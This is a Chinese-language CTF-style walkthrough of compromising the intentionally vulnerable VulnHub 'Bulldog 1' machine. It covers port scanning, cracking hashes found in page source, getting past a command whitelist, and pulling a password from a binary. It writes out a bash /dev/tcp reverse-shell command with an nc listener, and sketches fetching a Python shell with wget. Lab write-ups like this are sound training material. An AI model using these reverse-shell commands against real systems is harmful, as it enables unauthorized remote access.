靶机主页:https://www.vulnhub.com/entry/bulldog-1,211/
下载地址:https://download.vulnhub.com/bulldog/bulldog.ova
这次的靶机开发者建议使用 Orcal VM 打开。再使用vmware打开的时候,我发现使用vmware无法成功讲靶机桥接到局域网中。
靶机运行的时候会回显出自身的IP地址。
nmap扫描靶机开放端口。可以看到开放了一个ssh端口与两个http端口。
经访问貌似两个页面都一样
扫描web目录,经访问发现admin页面为后台登录界面,dev目录有斗牛犬公司站点的介绍
登录界面
站点介绍界面
经查看介绍界面源码发现,其源码中有邮箱的哈希值。丢到解密里面梭一把。
多说一句,能登陆的那条哈希值cmd5要收费。。。。。,辗转多个网站才解密出来。
解密之后尝试登录管理界面并获得shell
登录之后页面回显403禁止访问,此时再回到webshell界面,发现能够成功进入。
经测试发现,只要输入的命令带有页面所描述的白名单即可执行。且页面带有一定过滤.最后经多次尝试,正向shell,php、python、直接nc、bash都不能成功反弹shell。最后使用 echo +bash反弹shell成功。
被攻击机执行: echo "bash -i >& /dev/tcp/192.168.0.108/1234 0>&1" | bash
攻击机执行: nc -lvp 1234
成功反弹shell
查看/etc/passwd/ 文件,当前shell的用户是bulldog,但是还有一个bulldogadmin。猜测这个用户具有root权限
linux find命令不报错: 查找文件: find / "aaa.jpg" 2>/dev/null 查找用户拥有的文件: find / username 2>/dev/null
有三个目录,一个一个进去看看
查看note文件,机翻读起来好像有点离谱。貌似是在提示需要账号和密码。
最后百度翻译,得知需要执行文件 customPermissionApp ,同时这个文件的名字也叫自定义可执行文件。
使用 ls 查权限发现并没有执行权限,直接使用 cat 查看customPermissionApp文件的内容会出现乱码,不知道是kali的bug还是ssh工具的bug。自从打开文件之后,ssh命令行也整个变成乱码了。
避免乱码这里使用 strings 命令查看文件中可以被打印出来的字符。
strings filename
之后就不知道怎么做了,随即查询资料得知用户的密码在可执行文件中的字符串中
可读字符串其中有这么几句话
SUPERultH 去掉最右边的H就可以拼成一句话: imatePASH SUPERultimatePASSWORDyouCANTget SWORDyouH CANTget
这时尝试切换用户,报错“must be run for a terminal”,但需要从root身份登录才能进入查看root目录底下的flag。
尝试第一种方法,直接通过ssh端口登录:
怎么试都不成功,貌似不允许通过ssh登录
从网上找的第二种方法:
通过py调用本地shell
python -c 'import pty;pty.spawn("/bin/bash")'
=========================================================分割线
在网上看到其他师傅的另一个思路是:
1 · 搭建一个简单的web服务器,并放置python shell脚本
2 · 在 RCE 处执行 wget 讲py shell 加载到靶机上
3 · 继续在RCE处执行 python shell.py,之后的步骤就一样了